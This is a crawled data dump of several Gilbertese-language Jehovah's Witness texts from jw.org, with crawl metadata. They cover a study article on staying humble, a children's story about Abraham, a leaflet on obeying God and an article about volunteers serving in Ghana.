ae uakaan ae Betaera. E taekinna te unimwaane aei bwa aongkoa ana burabeti Iehova ngaia. E bureburea te rorobuaka aei bwa e na riaon ana kaetieti ae matoatoa Iehova are e na 'aki kana te kariki ke n nima te ran i Iteraera' ao e na 'aki oki n te kawai are e roko mai iai.' E aki kukurei Iehova iroun te burabeti aei. Imwina riki ngke e okira mwengana ana burabeti Iehova aei, e boo ma te raian ao e kamatea teuaei.\n3 E aera ngke e kan rarabakau te burabeti are nanorinano ngkoa ngke e airi ma te unimwaane are burebureia? E aki kaotaki bukina n te Baibara. Ma e kona n ae e boni mwanuokina are e riai n \"nakonako ma [te Atua] ma te nanorinano.\" (Wareka Mika 6:8.) N te Baibara, te nakonako ma Iehova e nanonaki iai bwa ti na onimakinna, ti na boutokaa ana tautaeka, ao n ongeaba n ana kairiri. E ataia raoi te aomata ae nanorinano bwa e kona, ao e riai n tataro n taai nako nakon Tamana ae tatangira ao ae moan te mwaaka. E kona n titirakina Iehova te burabeti aei bwa e na kamataatai Ana kaetieti nakoina, ma akea taekana n te Baibara bwa e karaoa anne. Ngaira naba n tabetai, ti riai ni karaoi ara motinnano aika kangaanga, ao tao ti aki ota raoi n te bwai ae e tangiria Iehova bwa ti na karaoia. Ma ngkana ti nanorinano n ukera ana kairiri Iehova, ti na boni buokaki iai n aki karaoi kairua aika kakaiaki.\n4. Tera ae ti na reiakinna n te kaongora aei?\n4 N te kaongora are imwain aei, ti reiakina iai ae e aera bwa e kakawaki te nanorinano n taai nako irouia Kristian ao tera ae irekereke ma kaotiotana. Ma baikara baika a kona ni kataaki iai nanorinanora? Ao ti na kangaa ni karikirakea te aroaro ae tatangiraki aei, bwa ti aonga n teimatoa n nanorinano e ngae naba ngkana ti aitara ma karawawata? Ibukini kaekaan titiraki aikai, ti na rinanoi bwaai aika tenua aika aki toki ni kataaki iai nanorinanora, ao ti na atai iai arora ni kaaitarai ni kabane ma te wanawana.\nNGKANA A RIKI BITAKI NAKOIRA\n5, 6. E kangaa Baretirai ni kaotiota te nanorinano?\n5 E kona ni kataaki nanorinanora ngkana a riki bitaki nakoira ke mwiokoara. E tuangaki Baretirai ae 80 ana ririki ni maiu iroun Tawita bwa e na butimwaea te kakao are e na maeka n ana baareti te uea. E boni bae n rangi ni karineaki Baretirai n aei. Ngkana e butimwaea ana kakao Tawita, e na teimatoa iai n riki bwa raoraon te uea. Ma e ngae n anne, e aki butimwaeia Baretirai. Bukin tera? Kioina ngkai e a rangi ni kara, e a tuanga Tawita bwa e aki kan riki bwa te bwai ni karawawata nakoina. Ngaia are e a iangoia Baretirai bwa e na onea mwina Kimam, ae tao temanna i buakoia natina.\n6 E buokaki Baretirai n nanorinanona bwa e na karaoa ana motinnano ae riai. Tiaki nanona bwa e aki butimwaea ana kakao Tawita ibukina bwa e namakinna ae e a aki tau ibukin te mwioko teuana, ke ibukina bwa e kan aoaoria ni kakukureia ni maiuna ni kara. Ma e boni butimwaei bitaki aika riki nakoina ao e ataia ae e a aki tau ana konabwai. E aki kani karaoa ae riaon ana konaa. (Wareka I-Karatia 6:4, 5.) Ngkana ti kaatuua iangoan nakoara, kakannatora, ke tanoatan taekara, e na karekea nakoira te kainikatonga, te kaiangatoa, ao n tokina te bwarannano. (IKar. 5:26) Ma e buokiia aomata nako te nanorinano bwa a na kaatuua iangoan aia konabwai ao korakoraia ibukin neboan te Atua, ao karaoan aia kabanea ni konaa ni buokiia tabemwaang.\n7, 8. Ti na kangaa ni buokaki n te nanorinano bwa ti na rarawa n onimakinira i bon iroura?\n7 Iriani mwioko aika bati riki n angiin te tai bon te mwaaka ni kairiri ae bati riki, ao e kona ni kataaki iai nanorinanora. Ngke e ongo Neemia taekan aia kangaanga aomata i Ierutarem, e kakorakoraa n tataro nakon Iehova. (Neem. 1:4, 11) E roko ana kakabwaia Iehova ngke e a mwiokoaki Neemia bwa te kowana n te aono anne iroun te Uea are Atatokititi. Ma e ngae ngke e a rietata nakoan Neemia, e kaubwai, ao iai mwaakana ni kairiri, e bon aki naba onimakina oin rabakauna ke ana konabwai. E teimatoa n nakonako ma te Atua. E teimatoa naba n ukera ana kaetieti Iehova n arona n okiokira ana Tua te Atua. (Neem. 8:1, 8, 9) E aki kabongana mwaakana Neemia ni karawawataia iai tabemwaang, ma e beku ibukia ao e kaaitarai oin ana kabanemwane.\n8 E kaotaki n ana katoto Neemia aron te nanorinano ni buokira n rarawa n onimakinira i bon iroura ngkana e bitaki mwiokoara ke e a kabatiaaki riki tabera. Ibukina bwa e onimakina oin rabakauna unimwaanen te ekaretia temanna, e a kona ni moanna ni karaoi tabena n te ekaretia ao n aki tataro moa nakon Iehova. A kona ni karaoi moa aia motinnano tabemwaang ao imwina a tataro nakon Iehova bwa e na kakabwaiaa aia motinnano. Ma e kaotaki n anne te nanorinano? Te aomata ae nanorinano, e uringa tabena i matan te Atua n taai nako ao ibukia aomata riki tabeman. A bon aki kakawaki ara konabwai. Ma ae kakawaki riki, ngkana ti aitara ma te kangaanga ke te kariri ae okioki, ti riai n taratara raoi bwa ti na aki onimakinira i bon iroura. (Wareka Taeka N Rabakau 3:5, 6.) Ni boong aikai, a bati aomata n te aonnaba aika bangaomata ao a kan rietata riki nakoia tabemwaang. Ngkai ana toro Iehova ngaira, ti aki iangoia bwa ngkai iai mwiokoara, ti a rabakau riki nakoia kaain ara utu ke kaain te ekaretia. Ma ti kaai ni mwakuri ma tarira ao mwaanera.\nNGKANA TI TIRIBUREAKI KE NI KAMOAMOAAKI\n9, 10. E na kangaa te nanorinano ni buokira n tokanikai i aon tiribureara n te aro ae aki riai?\n9 E boni bae ni kangaanga taotaonan unra ngkana iai ae tiribureira n te aro ae aki riai. E aki toki n tang Anna ibukina bwa e kakanikoa n taai nako ao ni kammarakia Beninna. E tangiraki Anna irouni buuna, ma e kanoabo. Imwina riki, ngke e tabe n tataro n te umwanrianna ae tabu, ao e kairua ni bukinna te Ibonga ae Rietata are Eri bwa e koro ni manging. Iangoa anne! N aki ongei baikai ni kabane, e teimatoa Anna ae nanorinano n taotaona unna ao ni kaeka ma te karinerine nakon Eri. E kawakinaki n te Baibara ana tataro Anna ae ringa te nano. E rangi ni bati iai taekan te onimaki, te nebonebo ao te katituaraoi.\n10 E kona naba ni buokira te nanorinano bwa ti na \"teimatoa ni kataenikaia te buakaka n te raoiroi.\" (IRom 12:21) E rangi ni bati te ribuaka n ana waaki Tatan, ao ti riai n taotaona unra irouia taani kakaraoa ae bure. (TaiAre. 37:1) Ngkana a riki ara kangaanga i marenara ma tarira ao mwaanera n te onimaki, e kona n rangi ni korakora riki marakira. E na kakairi iroun Iesu te aomata ae nanorinano. E kangai te Baibara: \"Ngke e kabuakakaaki ao e aki kabooa mwina n taetae ni kabuakaka . . . , ma e anga ngaia nakon Teuare motikitaeka n te eti.\" (1Bet. 2:23) E ataia Iesu bwa bon ana bwai Iehova te karekekai. (IRom 12:19) A kaumakaki naba Kristian bwa a na nimamannei ao n aki \"kabooa mwin te buakaka n te buakaka.\"\n11, 12. (a) E na kangaa te nanorinano ni buokira n tokanikai i aon taeka ni karang ke taeka ibukini kamoamoaara ae okiokI? (b) Ti na kangaa ni kaotiota te nanorinano n arora ni kunnikainira ao ni katamaroaira?\n11 E kona naba ni kataaki nanorinanora ngkana a okioki taeka ni karang ke taeka ibukini kamoamoaara. Iangoi aron Etita aika moan raraoi ngke e aitara ma baika riki ake e aki kantaningai. E rangi ni botonnaine ao e katamaroaaki ma ni kabiraki ni boiarara aika bobuaka i nanon teuana te ririki. E bobotaki ni katoabong ma ataeinnaine aika bati man te Embwaea ni Botia ni kabutaa, ake a kaiangatoa i marenaia bwa antai ae e na tangiraki riki iroun te uea. Ma e ngae n anne, e teimatoa ni karinerine ao n taotaona nanona. Tiaki nanona bwa e a moanna n iaiangoia i bon irouna ke ni kainikatonga, e ngae naba ngke e a rineia te uea bwa te ueannaine.\n12 Ti buokaki n taai nako n te nanorinano bwa ti na kunnikainira ao ni katamaroaira n te aro ae riai ma te karinerine. Ti ataia bwa ti anai nanoia aomata, tiaki man te kamoamoa ke kakukureiaia, ma boni mani kaotiotan te \"nano ae nimamannei ma n rau.\" (Wareka 1 Betero 3:3, 4; Ier. 9:23, 24) E na otara ae ti iaiangoi baika akea uaaia man ara mwakuri ao ara taeka. N te katoto, ti kona ni kairiia tabemwaang bwa a na iangoia ae ti kaokoro ibukini mwiokoara aika okoro, rongorongo aika ti atai, ke ara iraorao ma taari mwaane aika mwiokoaki. Ke tao ti kataia ni karaoa te bwai ae kakawaki aongkoa i bon iroura ma a ibuobuoki iai tabemwaang. Ma iangoa ana katoto ae tamaroa Iesu. E kona n anai nanoia aomata ni wanawanana. Ma n angiin te tai, e mwanewea Ana Taeka te Atua. E taetae ma te nanorinano bwa a aonga n ataia ake a ongora n te baere e taekinna bwa boni mairoun Iehova ao tiaki man oin rabakauna ke wanawanana.\nNGKANA TI KARAOI ARA MOTINNANO AIKA TI AKI KOAUA RAOI IAI\n13, 14. Ti na kangaa ni buokaki n te nanorinano ni karaoi ara motinnano aika raraoi?\n13 Te bwai teuana riki ae e kataaki iai nanorinanora boni karaoan ara motinnano. Ni menan te abotoro Bauro i Kaitareia, e tuangnga te burabeti are Akabo bwa ngkana e teimatoa n nako Ierutarem ao e na atikaki ni kabureaki. E boni kona naba ni kamateaki. Ngaia are a bubutiia Bauro taari bwa e na aki nako. Ma e aki muti iai Bauro. E aki onimakinna i bon irouna ke n taonakinako n te maaku. E onimakina raoi Iehova ao e tauraoi ni kaaitarai baika a na riki ni mwiokoana, n taabo ake e kataua nako iai Iehova. Ngke a ongo aei taari, a nanorinano n aki manga totokoa ana iango Bauro are e kan nako Ierutarem.\n14 Ti kona ni buokaki naba n te nanorinano bwa ti na karaoi ara motinnano aika manena, e ngae naba ngkana e aki tabwanin ara atatai iai ke ti aki kona n tuka te bwai ae e na riki iai. N te katoto, ngkana ti a kabwanina ara tai n te mwakuri ni minita, tera ae e na riki ngkana ti aoraki? Tera ae ti na karaoia ngkana a kainnanoa ara ibuobuoki ara karo aika kara? Ti na kangaa n tararuaira ngkana ti a kara? Ti aki kona ni kaekai titiraki aikai ni kabane, e ngae naba ngkana ti tataro ao n iaiangoi. (TeMin. 8:16, 17) Kioina ngkai ti onimakina Iehova, ti na buokaki iai tiaki tii n atai ara konabwai ma ti na kakoauaa naba ae e tianaki. Imwin ara kakaae, ukerani buokara mairouia tabemwaang, ao te tataro ibukin te kairiri, ti riai ni karaoi mwaneka aika boraoi ma ana kairiri taamnein te Atua. (Wareka Te Minita 11:4-6.) E kona Iehova ni kakabwaiai ara motinnano ke e kona ni buokira ni bitii tiara.\nKARIKIRAKEAN TE NANORINANO\n15. Ti na kangaa ni buokaki n teimatoa n nanorinano man iaiangoan Iehova?\n15 Ibukina bwa a bati kakabwaia man te nanorinano, ti na kangaa ngkanne ni karikirakea n te aro ae korakora riki? Ti na rinanoi aanga aika aua ibukin aei. Te moan, ti na karikirakea te nanorinano ae korakora riki ao karinean Iehova, ngkana ti iaiangoi aroarona aika bati aika rine aika akea kabotauaia ao nakoana naba. (Ita. 8:13) Uringnga bwa ti nakonako ngkai ma te Atua ae Moan te Mwaaka, ao tiaki te anera ke te aomata. Ti na kaungaaki n ataakin anne bwa ti na \"[kananorinanoira] i aani bain te Atua ae mwaaka.\"\n16. Ti na kangaa ni kaungaaki bwa ti na nanorinano man iaiangoan ana tangira te Atua?\n16 Te kauoua, ti buokaki n iaiangoan ana tangira Iehova ni karikirakea te nanorinano. E korea taekan Iehova te abotoro Bauro bwa e 'kabatiaa riki karineani' bwain te rabwata aika aki rangi ni manena. (1Kor. 12:23,24) N aron anne, e tabeakinira Iehova n tatabemanira nako n aki ongei tian ara konabwai. E aki kabotauira ma tabemwaang ke ni katoka tangirara ngkana ti karaoa ae kairua. Ti namakinna man ana tangira Iehova bwa ti mano raoi n taabo ake ti beku iai ibukina.\n17. Tera kakabwaiaara man iaiangoan raoiroia tabemwaang?\n17 Te katenua, e na rikirake ara kakaitau ibukini mwiokoara n ana mwakuri Iehova, ngkana ti kakairi iroun te Atua, ao n iaiangoi raoiroia aomata. N oneani mwin are ti na kakawaki irouia aomata ke ti tutuangia te bwai ae a na karaoia, ti riai n ongora n aia taeka n reirei tabemwaang ao ni butimwaei aia iango. (TaeRab. 13:10) Ti na kukurei ma ngaiia ngkana a anganaki mwiokoaia. Ao ti na neboa Iehova ngkana ti nori arona ni kakabwaiaia \"[tarira] nako ni kabutaa te aonnaba.\"\n18. Ti na kangaa ni kataneia mataniwin nanora bwa ti na nanorinano n aron te Atua?\n18 Te kaaua, e na katamaroaaki riki arora n nanorinano ao ni karinerine mani kataneiaakini mataniwin nanora ni booto n reirei n te Baibara. Ti reireiaki ni booto n reirei aikai bwa ti na karaoi ara motinnano aika raraoi, n arora ni kananorinanoira n iangoi bwaai n aron iangoaia iroun Iehova. Ti kona ni kakorakorai mataniwin nanora rinanon te katoatai n ukeuke n reirei, te tataro, ao maiuakinani baike ti reiakin. (1Tim. 1:5) Ti reiakina naba moanibwaian nanoia tabemwaang. Ngkana ti karaoi baikai, e berita Iehova bwa e na 'katiaa kataneiaakira,' ni buokira ni karikirakea te nanorinano, ao aroaro ake e kukurei iai.\n19. Tera ae e na buokira n teimatoa n nanorinano n aki toki?\n19 E kabuaa maiuna ao akoana iroun te Atua te burabeti are mai Iuta ae e aki kaotaki arana, man ana mwakuri ni kan rarabakau n te tai ae tii teuana. Ma ti boni kona n teimatoa n nanorinano i aani kataaki. A kaotia naake a kakaonimaki rimoa ao aika nanorinano ngkai bwa e boni kona ni karaoaki anne. Ngkana ti a maan riki n nakonako ma Iehova, e na rangi ni korakora riki iai nanorinanora. (TaeRab. 8:13) N aki ongei tabera ngkai, ma te nakonako ma Iehova bon te kakabwaia ae moan te tamaroa ae akea kabotauana. Aio karineara ae moan te kakawaki ae kona n reke iroura. Ngaia are ti bia kabanei ara konaa n nakonako ma te nanorinano ma Iehova n aki toki.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/reirei-n-te-taua-n-tantani-tianuare-2017\/ko-kona-n-teimatoa-n-nanorinano-i-aani-kataaki\/","date":"2018-01-18T22:34:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00271.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2516,"character_repetition_ratio":0.063,"word_repetition_ratio":0.002,"special_characters_ratio":0.224,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki rangi n raroa ma Babera te kaawa teuana ae arana Ura. A taromaurii atua aika bati kaaina ao tiaki Iehova. Ma iai te mwaane temanna i Ura ae e taromauria Iehova. Arana bon Aberaam.\nE taku Iehova nakon Aberaam: 'Naako mai abam ao mairouia am buu, ao nakon te aba ae N na kaotia nakoim.' Ao e berita te Atua ni kangai: 'Ko na riki bwa te natannaomata ae korakora, ao N na karaoi baika raraoi ibukia aomata aika bati n te aonnaba ni kabutaa ibukim.'\nE aki ataia Aberaam bwa e na kanakoa nakea Iehova, ma e bon onimakinna. Ngaia are a botii aia bwai Aberaam ma buuna are Tara, tamana are Tera ma ai natina ae Rota, ao a ongeaba ni moana mwanangaia ae abwabwaki.\nBon 75 ana ririki Aberaam ngke e roko n te aba are e tangiria Iehova bwa e na noria ma ana utu. Aran te aba aei boni Kanaan. Ikanne are e a taetae iai te Atua nakon Aberaam ao ni karaoa te berita aei: 'N na anga te aba aei nakoia am kariki.' Ma a a boni kara Aberaam ma Tara ao akea natiia. E na kangaa ngkanne Iehova ni kakoroa bukin ana berita aei?\n\"Ibukin ana onimaki Aberaam ao e ongeaba . . . ao e mwananga nakon te tabo are e baireaki bwa e na ababa iai, ao e mwananga nako, e ngae ngke e aki ataa ike e na nako iai.\"—Ebera 11:8","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/3\/aberaam-ma-tara\/","date":"2018-01-19T02:23:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00783.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":239,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taetae te Atua nakoira rinanon te Baibara. 2 Timoteo 3:16\nE kairiia mwaane te Atua ae koaua bwa a na korei ana iango i nanon te boki ae tabu. Te boki anne bon te Baibara. Iai i nanona rongorongo aika kakawaki ae e tangiria te Atua bwa ti na ataia.\nE atai baika rangi n tamaroa ibukira te Atua, ao boni ngaia Nibwan te wanawana ni kabane. Ngkana ko ongeaba irouna ao ko na rabakau.\nE tangiriia aomata ni kabane aika i aon te aba te Atua bwa a na wareware n te Baibara. E tauraoi ngkai n taetae aika mwaiti.\nNgkana ko kan ongeaba iroun te Atua, ko riai ni wareka te Baibara ao n ota iai.\nA ongora n ana taeka aomata n taabo nako. Mataio 28:19\nA kona ni buokiko Ana Tia Kakoaua Iehova bwa ko na ota n te Baibara.\nA kabutaa te aonnaba n reiakinia aomata te koaua ibukin te Atua.\nE aki kabooaki kairan te reirei aei. Ko kona naba n reiakina taekan te Atua n Aia Tabo n Taromauri Ana Tia Kakoaua Iehova.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ongeaba-ao-maiu\/kangaa-ongeaba-iroun-atua\/","date":"2018-01-24T10:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893629.85\/warc\/CC-MAIN-20180124090112-20180124110112-00036.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":178,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAI te tari te mwaane ke te tari te aine ae ko ataia bwa e mwaing nakon te aba ae ianena ae korakora riki iai kainnanoaia taan uarongorongoa te Tautaeka n Uea? Ti aki toki n taekinia taani Kakoaua akanne bwa taan ibuobuoki. Ko a tia n titirakiniko ni kangai: 'Tera ae kaungaia bwa a na beku n te aba ae ianena? A kangaa ni katauraoiia ibukin te mwakuri aei? I kona n uataboia naba?' Te anga ae raoiroi ae e na reke iai kaekaan titiraki akanne bon te maroro ma taari mwaane ao aine akanne. Ti na rinanon anne ngkai.\nTERA AE KAUNGAIA?\nTera ae kaungako bwa ko na moana iangoan te beku n te aba ae ianena ae korakora riki iai kainnanoan te ibuobuoki? E roko Amy man te United States ae ai 30 tabun ana ririki ngkai. E taku: \"I nanon ririki aika bati, I iangoa te beku n te aba ae ianena, ma n taraana I aki kona ni karaoia.\" Tera ae bita ana iango neiei? \"N 2004, a kaoai te taanga ae a mwakuri i Belize bwa N na bwaiania ma ngaiia i nanon teuana te namwakaina. I bon nako ao I rangi n tangira te mwakuri aei! Teuana te ririki imwina, I a mwaing nako Ghana ni bwaiania iai.\"\nTabeua te ririki n nako ao Stephanie ae kaain naba te United States, ae e a kaani koro ngkai 30 ana ririki, e karaua n tirotiroa arona ao e iango ni kangai: 'I marurung ao akea katabeau n au utu. I kona ni karaoa ae bati riki ibukin Iehova nakon ae I karaoia ngkai.' Imwin tuoan raoi arona anne i bon irouna, e a kaungaaki bwa e na mwaing nako Ghana ni karababaa ana mwakuri ni minita. Filip ao Ida, ae te taanga mai Denmark aika bwaiania ake a a mwaane ao n aine, a aki toki n iangoa te mwaing nakon te aono ae korakora riki iai kainnanoan te ibuobuoki. A kakaaei aanga ake a na kakororaoa iai aia iango aei. E taku Filip: \"Ngke e a angaraoi mwanangara ai aron ae e tuangira Iehova ni kangai: 'Waaki nako!' \" N 2008, a a mwaing nako Ghana ao ni beku iai n te maan ae raka i aon tenua te ririki.\nA beku ngkai n te United States Hans ao Brook ae te taanga ae a bwaiania ae ai 30 tabun aia ririki. N 2005 ao a ira buakon te mwakuri n ibuobuoki n te kabuanibwai are riki imwin Hurricane Katrina. Imwina, a a bubutii bwa a na ibuobuoki n taiani mwakuri ni kateitei ni katobibia te aonnaba ma a aki butimwaeaki. E ururing rikaaki Hans ao e taku: \"Imwina riki, ti a ongora n te kabwarabwara n te bwabwaro teuana ae taekinaki iai te Uea are Tawita bwa e nanoraoi ngke e aki kariaiakaki ni katea te tembora, ngaia are e a bita tiana. Ti buokaki n te reirei anne bwa ti na ataia ae akea bureni bitakin tian temanna ma temanna n ana mwakuri ibukin Iehova.\" (1Rongo. 17:1-4, 11, 12; 22:5-11) E reitia ni kangai Brook: \"E tangirira Iehova bwa ti na bitii ara babaire.\"\nImwin ongoraean rongorongo aika kakaongora mairouia raoraoia ake a beku n aaba tabeua, a a kaungaaki Hans ao Brook bwa a na kataia ni bwaiania n te aba teuana. N 2012, a a mwaing nako Ghana ao ni beku aua te namwakaina iai ni buoka te ekaretia ae kamanena te taetae n te bai. E ngae ngke a riai n okira te United States, ma aia beku i Ghana e a kakorakoraaki iai nanoia ni kani moanibwai baika irekereke ma te Tautaeka n Uea. Man te tai anne, a a tia n ibuobuoki n te mwakuri ni kateitei ibukin te aobiti n tararua i Micronesia.\nKARAOANI MWANEKA IBUKIN UAIAKINAN TIAIA\nKo kangaa ni katauraoiko ibukin te beku n te tabo ae korakora riki iai kainnanoan te ibuobuoki? E taku Stephanie: * \"I karaoa au kakaae n taiani kaongora man Te Taua-n-Tantani aika irekereke ma te beku n te tabo ae korakora riki iai kainnanoan te ibuobuoki. I maroro naba ma unimwaane n te ekaretia ao te mataniwi n te aono ae uarereke ma buuna, ibukin nanou ni kani beku n te aba teuana. Ma ae moan te kakawaki riki, I aki toki ni mwanewea tiau aei n au tataro nakon Iehova.\" N te tai naba anne, e kateimatoa maiuna ae bebete Stephanie, ike e a kona iai ni kaikoa ana mwane ibukini boutokaana ngkana e a beku n te aba teuana.\nE taku Hans: \"Ti tataro nakon Iehova ibukin ana kairiri ngkai ti kan nakon te tabo are e tangiria bwa ti na nako iai. Ti tataroakina naba te bong are ti iangoia bwa ti na waaki iai.\" A kanakoi aia reta te taanga aei nakon aobiti n tararua aika aua. Imwin reken te kaeka ae kaunganano man te aobiti n tararua i Ghana, a a mwananga ao a baireia bwa a na tiku i nanon uoua namwakaina. E taku Hans: \"Ti rangi ni kukurei ni mwakuri ma te ekaretia iai ao ti a karakaa riki ara tai n tiku.\"\nGeorge ao Adria mai Kanata, ae te taanga ae e a kaani koro 40 aia ririki, a teimatoa n uringa are e kakabwaiai motinnano aika raraoi Iehova, ao tiaki tii babaire aika raraoi. Ngaia are a a karaoi mwaneka aika a na bon roko iai n tiaia. A reitaki ma te tari te aine ae beku i Ghana ae korakora riki iai kainnanoan te ibuobuoki, ao a tabeki titiraki aika bati nakoina. A kororeta naba nakon te aobiti n tararua i Kanata ao i Ghana. E taku Adria: \"Ti kakaaei naba aanga ake ti na kabebetei riki iai maiura nakon are ti a kamani karaoia.\" Man aia motinnano akanne, a a kona ni mwaing nako Ghana n 2004.\nAROIA NI KAAITARAI KANGAANGA\nBaikara am kangaanga imwini mwaingim, ao tera arom iai? Ana moani kangaanga Amy bon ururingakia ana utu. \"A rangi ni kaokoro bwaai nako ma baike I taneiai iai.\" Tera ae buoka neiei? \"Man aia tatareboon au utu ni kamoamoaai ibukin au beku, I buokaki iai n ururinga au motinnano ibukini mwaingiu. Imwina riki, I a moanna ni mamaroro n te intanete ma au utu. Kioina ngkai ti a kona n norira, ai aron ae a aikoa rangi n raroa au utu.\" E taekinna Amy bwa te iraorao ma te tari te aine n te tabo anne ae mwaatai, e a buokia n atai katei aika kakaokoro. \"E riki raoraou aei bwa te aomata ae I onimakinna ao I kakarekea buokau irouna n taai ake I aki ota raoi iai n aroaroia aomata tabeua. Man ana ibuobuoki neiei, I a ataa te bwai ae N na karaoia ao ae N na rawa iai, ike I a rangi ni buokaki iai ni karaoan au mwakuri ni minita ma te kimwareirei.\"\nA taekinna George ao Adria bwa ngke a moani mwaing nako Ghana, a namakinna bwa ai aron ae a a okiri boong ake akea iai bwaai ni mwakuri. E taku Adria: \"Ti kamanenai bwaketi n oneani mwin te mitiin n uaati. E kainnanoaki te tai ae maan riki ibukini katauraoan te amwarake nakon are ti taneiai iai. Ma imwin tabeua te tai, a a riki baika kangaanga aikai bwa baika boou aika ti a tibwa rinanoi.\" E taku Brook: \"N aki ongei bwaai n tutuki aika ti kaaitarai ngaira bwaiania, ma ti bon rauaki ni maiura. Ngkana ti botii ni kabane baika riki nakoira aika kaungaunga, a karikii ururing aika tamaroa aika kakawaki iroura.\"\nTE MWAKURI NI MINITA AE UAANA\nE aera ngkai ko kaungaia tabemwaang nakon te aeka ni beku aei ibukin te Tautaeka n Uea? E taku Stephanie: \"E kakimwareirei te uarongorongo n te aono ae ko kaitiboo iai ma aomata aika ingainga ni kan ataa te koaua, ao a kan reirei n te Baibara ma ngkoe ni katoabong. Au motinnano ae tamaroa riki ae I a tia n karaoia, bon te mwaing ni beku n te tabo ae korakora riki iai kainnanoan te ibuobuoki!\" E mare Stephanie ma Aaron n 2014 ao a a beku ngkai n te aobiti n tararua i Ghana.\nE taku Christine ae te bwaiania mai Tiaman ae ai tibwa 30 tabun ana ririki: \"Bon te mwakuri ae tamaroa.\" E beku Christine i Bolivia imwaini mwaingina nako Ghana. E reitia ni kangai: \"Kioina ngkai I a raroanako ma au utu, I okira Iehova ibukini buokau n taai nako. Irou ai bon te aomata ni koaua ngaia nakon are I iangoia mai mwaina. I namakina naba te katiteuanaaki ae rianako i buakoia ana aomata Iehova. E a tia ni katamaroaa maiuu te beku aei.\" E mare Christine ma Gideon, ao a teimatoa ni beku i Ghana.\nA taekina aroia Filip ao Ida ni buokiia aomata ake a reirei n te Baibara bwa a na rikirake. \"Ti taneiai n reirei ma ara aomata aika 15 ke e raka riki, ma ti a kauarerekea nakon 10 bwa ti aonga n reireinia raoi.\" A kakabwaiaaki aia reirei n te Baibara? E taku Filip: \"I reirei ma te rorobuaka n ataei ae Michael. E kona n reirei ni katoabong ao e katauraoi raoi. E bane te boki ae Ana Reirei te Baibara i nanon teuana te namwakaina. Imwin anne, e a riki Michael bwa te tia uarongorongo ae tuai ni bwabetitoaki. N ana moanibong n te mwakuri ni minita ao e titirakinai ni kangai: 'Ko kona ni buokai ma naake I reirei ma ngaiia n te Baibara?' I taraia ao I mimi irouna. E kabwarabwaraa Michael bwa e a tia ni moana te reirei ma teniman aomata ao e kainnanoa te ibuobuoki teutana ni kairan aia reirei.\" Iangoa korakorani kainnanoaia taan angareirei, ngkai a a riki naba aomata aika reirei n te Baibara bwa taan angareirei!\nE taekina arona Amy ni waekoa n ataa korakorani kainnanoan te mwakuri: \"Tabeua te tai imwin rokora i Ghana, ti uarongorongo n te kaawa ae uarereke ni kakaaeia aika bonotaninga. Ti aki kunea tii temanna ae bonotaninga ma boni waniman n te kaawa anne!\" Imwin te tai ae aki maan, e a mare Amy ma Eric, ao a a uaia ni beku bwa tibeetio bwaiania. A ibuobuoki n te ekaretia ae kamanena te taetae n te bai ni buokiia tabeman i buakoia taan uarongorongo aika bonotaninga aika 300 tabun, ao aomata naba aika kan ongora n te aba anne. N aia tai ni mwakuri George ao Adria i Ghana, a a nora iai aron te mwakuri ni mitinare. Ai kukureira ngaiia ngke a a kaoaki bwa a na kaea te ka-126 n reirei n te Kuura ni Kireata! A a beku ngkai bwa mitinare i Mozambique.\nA KAIRAKI N TE TANGIRA\nE kaunganano noraia aika bati man aaba tabeua bwa a mwakuri korakora n te mwakuri n tai i rarikia taari mwaane ma aine i abaia. (Ioa. 4:35) E katautauaki bwa ni katoa wiki i nanon te ririki ao a bwabetitoaki 120 i Ghana. N aron ae a a tia ni mwaing taan ibuobuoki aika 17 nako Ghana, nga ma nga naba taan uarongorongo ni katobibia te aonnaba aika a tia ni kairaki n tangiran Iehova bwa a na 'kukurei n anga ngaiia.' A beku n taabo ake e korakora riki iai kainnanoaia taan uarongorongoa te Tautaeka n Uea. Ai kimwareireira nanon Iehova irouia taani mwakuri akana kukurei n anga ngaiia akanne!\n^ bar. 9 Nora te katoto n te kaongora ae, \"Ko Kona ni Beku n te Tabo ae E Kainnanoaki Riki te Ibuobuoki Iai?\" ao \"Ko Kona n Nako Maketonia?\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-reirei-n-te-taua-n-tantani-turai-2016\/a-kukurei-n-anga-ngaiia-i-ghana\/","date":"2018-01-17T15:48:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886946.21\/warc\/CC-MAIN-20180117142113-20180117162113-00693.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 